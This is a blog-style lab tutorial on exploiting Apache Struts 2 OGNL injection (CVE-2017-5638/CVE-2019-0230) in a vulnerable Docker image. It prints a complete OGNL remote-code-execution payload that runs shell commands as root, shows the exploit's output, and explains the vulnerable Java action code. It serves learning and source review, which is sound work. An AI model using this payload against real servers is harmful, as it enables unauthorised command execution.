Friday, June 4, 2021

Playing with Struts 2 vulns

 


If you don’t already have docker, get it, you will need it for this. You will also need Burp pro.

Go get apache-sturts2-CVE-2017-5638 docker image.


docker pull piesecurity/apache-struts2-cve-2017-5638


Expose localhost:8080 for that docker and run

Open your browser to http://localhost:8080/integration/saveGangster.action

Set Gangster Name to ${2+2} or %{2+2}

Age to 69 (dynamic)

Submit

On reload you will see “Gangster 4 added successfully”






Now we know we have injection!

Burp can help confirm with a bit more info to help along to exploit.

View from Burp dashboard:






Now lets look at getting that RCE.

We can start with a nice simple exploit, so open burp, make an easy POST request to the app, send it to 

repeater and start with this payload found at https://github.com/PrinceFPF/CVE-2019-

0230/blob/master/CVE-2019-0230.sh:

$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=

#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#contai

ner.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNa

mes().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(

#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'c

md.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new 

java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apac

he.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils

@copy(#process.getInputStream(),#ros)).(#ros.flush())}


URL encode the whole thing and submit.

You should get a response like:

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Date: Thu, 25 Feb 2021 19:45:34 GMT

Connection: close

Content-Length: 39

uid=0(root) gid=0(root) groups=0(root)

w00t!!1

Here is a look at the code in play here (/usr/local/tomcat/webapps/ROOT/WEBINF/src/java/org/apache/struts2/showcase/integration/SaveGangsterAction.java):

package org.apache.struts2.showcase.integration;

import org.apache.struts.action.*;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

public class SaveGangsterAction extends Action {

 /* (non-Javadoc)

 * @see org.apache.struts.action.Action#execute(org.apache.struts.action.ActionMapping, 

org.apache.struts.action.ActionForm, javax.servlet.http.HttpServletRequest, 

javax.servlet.http.HttpServletResponse)

 */

 @Override

 public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest 

request, HttpServletResponse response) throws Exception {

 // Some code to save the gangster to the db as necessary

 GangsterForm gform = (GangsterForm) form;

 ActionMessages messages = new ActionMessages();

 messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added 

successfully"));

 addMessages(request, messages);

 return mapping.findForward("success");

 }

}

The payload from the name variable in the POST request is stuffed into gform, which gets put inside an 

action message which evals it as Object-Graph Navigation Language (OGNL), p00f RCE. So if doing a 

source code review look for new ActionMessages(); and see how its being used.

This was built for CVE-2017-5638, but as you can see payloads for CVE-2019-0230 work as well so play around with both.

You can take it from here. Happy attacking!